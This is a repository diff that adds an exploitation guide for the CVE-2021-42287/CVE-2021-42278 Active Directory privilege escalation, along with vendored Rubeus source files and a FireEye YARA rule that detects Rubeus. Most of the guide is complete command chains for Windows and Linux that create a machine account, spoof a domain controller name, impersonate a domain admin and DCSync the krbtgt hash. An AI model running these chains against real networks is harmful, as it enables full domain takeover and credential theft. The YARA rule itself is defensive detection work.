KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
```
#### 参考项目
- [GhostPack](https://github.com/GhostPack/Rubeus)
- [Kevin-Robertson]( https://github.com/Kevin-Robertson/Powermad)
- [cube0x0](https://github.com/cube0x0/noPac)
- [sam-the-admin](https://github.com/WazeHell/sam-the-admin)
#### 分析文章
- [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)

View File

@ -0,0 +1,148 @@
### CVE-2021-42287
#### Describe
The CVE-2021-42287/CVE-2021-42278 combo box can pass the ordinary user authority account to win the Microsoft Windows Active Directory domain service administrator authority account
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows Server 2008 | x86/x64 | | SP2 | |
| Windows Server 2008 | x64 | R2 | SP1 | |
| Windows Server 2012 | | | | &#10004; |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server 2022 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42287
```
#### Utilization
CompilerEnvironment
- VS2019.NET Framework 4.0AnyCPU Release
> The demonstration uses the noPac project
Preconditions for exploiting vulnerabilities, and points to note
- Ability to add regular users of the machine (MachineAccountQuota defaults to 10, and a value of 0 means that regular users cannot create machine accounts and cannot directly exploit this vulnerability)
<img src="https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x01.png" alt="12" style="zoom:50%;" />
- There is also noPac, a tool that simulates the domain administrator, but if the user ptt does not exist in the domain administrator group, an error will be reported. You need to specify the administrator through `/IMPERSONATE domain_admin_user`, and the error is as follows
![image-20211214141231851](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x02.png)
First get the administrator account in the domain
```powershell
net group "domain admins" /domain
```
After obtaining the administrator account, execute the following command
```powershell
.\noPac.exe -domain <域名> -user <能添加普通账户的账号> -pass <能添加普通账户的密码> /dc <域控机器> /mAccount <你想添加到域中的账号> /mPassword <你想添加到域中的密码> /service <票据的服务名> /IMPERSONATE <获取到的域管理员账号> /ptt
```
Explain a few parameters, the bill service name generally uses cifs
```
domain namecn.ascotbe.test.com
dcDC1.cn.ascotbe.test.com
servicecifs
```
![image-20211214142856348](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x03.png)
Then verify by executing the following command
```powershell
#View bill
klist
#Obtain C drive file
dir \\dc\c$
```
![image-20211214143041849](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x04.png)
> Use the sam-the-admin project
No test, you can use -h to view the command
> Use the command line to execute
windows
```powershell
# 0. create a computer account
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 1. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 2. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 3. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 4. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 6. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
```
linux
```bash
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
```
#### ProjectSource
- [GhostPack](https://github.com/GhostPack/Rubeus)
- [Kevin-Robertson]( https://github.com/Kevin-Robertson/Powermad)
- [cube0x0](https://github.com/cube0x0/noPac)
- [sam-the-admin](https://github.com/WazeHell/sam-the-admin)
#### Analyze
- [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU
{658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,14 @@
// From https://github.com/fireeye/red_team_tool_countermeasures/blob/3a773645093e77107dfc4e3b29eb74845cc2f25d/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar
// License: BSD 2-clause
rule HackTool_MSIL_Rubeus_1
{
meta:
description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
md5 = "66e0681a500c726ed52e5ea9423d2654"
rev = 4
author = "FireEye"
strings:
$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
condition:
uint16(0) == 0x5A4D and $typelibguid
}

View File

@ -0,0 +1,47 @@
using System;
namespace Rubeus.Asn1 {
public static class Asn1Extensions {
public static byte[] DepadLeft(this byte[] data) {
int leadingZeros = 0;
for (var i = 0; i < data.Length; i++) {
if (data[i] == 0) {
leadingZeros++;
} else {
break;
}
}
byte[] result = new byte[data.Length - leadingZeros];
Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros);
return result;
}
public static byte[] PadLeft(this byte[] data, int totalSize) {
if(data.Length == totalSize) {
return data;
}
if(totalSize < data.Length) {
throw new ArgumentException("data bigger than totalSize, cannot pad with 0's");
}
byte[] result = new byte[totalSize];
data.CopyTo(result, totalSize - data.Length);
return result;
}
public static byte[] PadRight(this byte[] data, int length) {
if (data.Length == length) {
return data;
}
var copy = new byte[length];
data.CopyTo(copy, length - data.Length);
return copy;
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,19 @@
using System;
using System.IO;
namespace Asn1 {
public class AsnException : IOException {
public AsnException(string message)
: base(message)
{
}
public AsnException(string message, Exception nested)
: base(message, nested)
{
}
}
}

View File

@ -0,0 +1,309 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace Asn1 {
public static class AsnIO {
public static byte[] FindDER(byte[] buf)
{
return FindBER(buf, true);
}
public static byte[] FindBER(byte[] buf)
{
return FindBER(buf, false);
}
/*
* Find a BER/DER object in the provided buffer. If the data is
* not already in the right format, conversion to string then
* Base64 decoding is attempted; in the latter case, PEM headers
* are detected and skipped. In any case, the returned buffer
* must begin with a well-formed tag and length, corresponding to
* the object length.
*
* If 'strictDER' is true, then the function furthermore insists
* on the object to use a defined DER length.
*
* The returned buffer may be the source buffer itself, or a newly
* allocated buffer.
*
* On error, null is returned.
*/
public static byte[] FindBER(byte[] buf, bool strictDER)
{
string pemType = null;
return FindBER(buf, strictDER, out pemType);
}
/*
* Find a BER/DER object in the provided buffer. If the data is
* not already in the right format, conversion to string then
* Base64 decoding is attempted; in the latter case, PEM headers
* are detected and skipped. In any case, the returned buffer
* must begin with a well-formed tag and length, corresponding to
* the object length.
*
* If 'strictDER' is true, then the function furthermore insists
* on the object to use a defined DER length.
*
* If the source was detected to use PEM, then the object type
* indicated by the PEM header is written in 'pemType'; otherwise,
* that variable is set to null.
*
* The returned buffer may be the source buffer itself, or a newly
* allocated buffer.
*
* On error, null is returned.
*/
public static byte[] FindBER(byte[] buf,
bool strictDER, out string pemType)
{
pemType = null;
/*
* If it is already (from the outside) a BER object,
* return it.
*/
if (LooksLikeBER(buf, strictDER)) {
return buf;
}
/*
* Convert the blob to a string. We support UTF-16 with
* and without a BOM, UTF-8 with and without a BOM, and
* ASCII-compatible encodings. Non-ASCII characters get
* truncated.
*/
if (buf.Length < 3) {
return null;
}
string str = null;
if ((buf.Length & 1) == 0) {
if (buf[0] == 0xFE && buf[1] == 0xFF) {
// Starts with big-endian UTF-16 BOM
str = ConvertBi(buf, 2, true);
} else if (buf[0] == 0xFF && buf[1] == 0xFE) {
// Starts with little-endian UTF-16 BOM
str = ConvertBi(buf, 2, false);
} else if (buf[0] == 0) {
// First byte is 0 -> big-endian UTF-16
str = ConvertBi(buf, 0, true);
} else if (buf[1] == 0) {
// Second byte is 0 -> little-endian UTF-16
str = ConvertBi(buf, 0, false);
}
}
if (str == null) {
if (buf[0] == 0xEF
&& buf[1] == 0xBB
&& buf[2] == 0xBF)
{
// Starts with UTF-8 BOM
str = ConvertMono(buf, 3);
} else {
// Assumed ASCII-compatible mono-byte encoding
str = ConvertMono(buf, 0);
}
}
if (str == null) {
return null;
}
/*
* Try to detect a PEM header and footer; if we find both
* then we remove both, keeping only the characters that
* occur in between.
*/
int p = str.IndexOf("-----BEGIN ");
int q = str.IndexOf("-----END ");
if (p >= 0 && q >= 0) {
p += 11;
int r = str.IndexOf((char)10, p) + 1;
int px = str.IndexOf('-', p);
if (px > 0 && px < r && r > 0 && r <= q) {
pemType = string.Copy(str.Substring(p, px - p));
str = str.Substring(r, q - r);
}
}
/*
* Convert from Base64.
*/
try {
buf = Convert.FromBase64String(str);
if (LooksLikeBER(buf, strictDER)) {
return buf;
}
} catch {
// ignored: not Base64
}
/*
* Decoding failed.
*/
return null;
}
/* =============================================================== */
/*
* Decode a tag; returned value is true on success, false otherwise.
* On success, 'off' is updated to point to the first byte after
* the tag.
*/
static bool DecodeTag(byte[] buf, int lim, ref int off)
{
int p = off;
if (p >= lim) {
return false;
}
int v = buf[p ++];
if ((v & 0x1F) == 0x1F) {
do {
if (p >= lim) {
return false;
}
v = buf[p ++];
} while ((v & 0x80) != 0);
}
off = p;
return true;
}
/*
* Decode a BER length. Returned value is:
* -2 no decodable length
* -1 indefinite length
* 0+ definite length
* If a definite or indefinite length could be decoded, then 'off'
* is updated to point to the first byte after the length.
*/
static int DecodeLength(byte[] buf, int lim, ref int off)
{
int p = off;
if (p >= lim) {
return -2;
}
int v = buf[p ++];
if (v < 0x80) {
off = p;
return v;
} else if (v == 0x80) {
off = p;
return -1;
}
v &= 0x7F;
if ((lim - p) < v) {
return -2;
}
int acc = 0;
while (v -- > 0) {
if (acc > 0x7FFFFF) {
return -2;
}
acc = (acc << 8) + buf[p ++];
}
off = p;
return acc;
}
/*
* Get the length, in bytes, of the object in the provided
* buffer. The object begins at offset 'off' but does not extend
* farther than offset 'lim'. If no such BER object can be
* decoded, then -1 is returned. The returned length includes
* that of the tag and length fields.
*/
static int BERLength(byte[] buf, int lim, int off)
{
int orig = off;
if (!DecodeTag(buf, lim, ref off)) {
return -1;
}
int len = DecodeLength(buf, lim, ref off);
if (len >= 0) {
if (len > (lim - off)) {
return -1;
}
return off + len - orig;
} else if (len < -1) {
return -1;
}
/*
* Indefinite length: we must do some recursive exploration.
* End of structure is marked by a "null tag": object has
* total length 2 and its tag byte is 0.
*/
for (;;) {
int slen = BERLength(buf, lim, off);
if (slen < 0) {
return -1;
}
off += slen;
if (slen == 2 && buf[off] == 0) {
return off - orig;
}
}
}
static bool LooksLikeBER(byte[] buf, bool strictDER)
{
return LooksLikeBER(buf, 0, buf.Length, strictDER);
}
static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER)
{
int lim = off + len;
int objLen = BERLength(buf, lim, off);
if (objLen != len) {
return false;
}
if (strictDER) {
DecodeTag(buf, lim, ref off);
return DecodeLength(buf, lim, ref off) >= 0;
} else {
return true;
}
}
static string ConvertMono(byte[] buf, int off)
{
int len = buf.Length - off;
char[] tc = new char[len];
for (int i = 0; i < len; i ++) {
int v = buf[off + i];
if (v < 1 || v > 126) {
v = '?';
}
tc[i] = (char)v;
}
return new string(tc);
}
static string ConvertBi(byte[] buf, int off, bool be)
{
int len = buf.Length - off;
if ((len & 1) != 0) {
return null;
}
len >>= 1;
char[] tc = new char[len];
for (int i = 0; i < len; i ++) {
int b0 = buf[off + (i << 1) + 0];
int b1 = buf[off + (i << 1) + 1];
int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8));
if (v < 1 || v > 126) {
v = '?';
}
tc[i] = (char)v;
}
return new string(tc);
}
}
}

Some files were not shown because too many files have changed in this diff Show More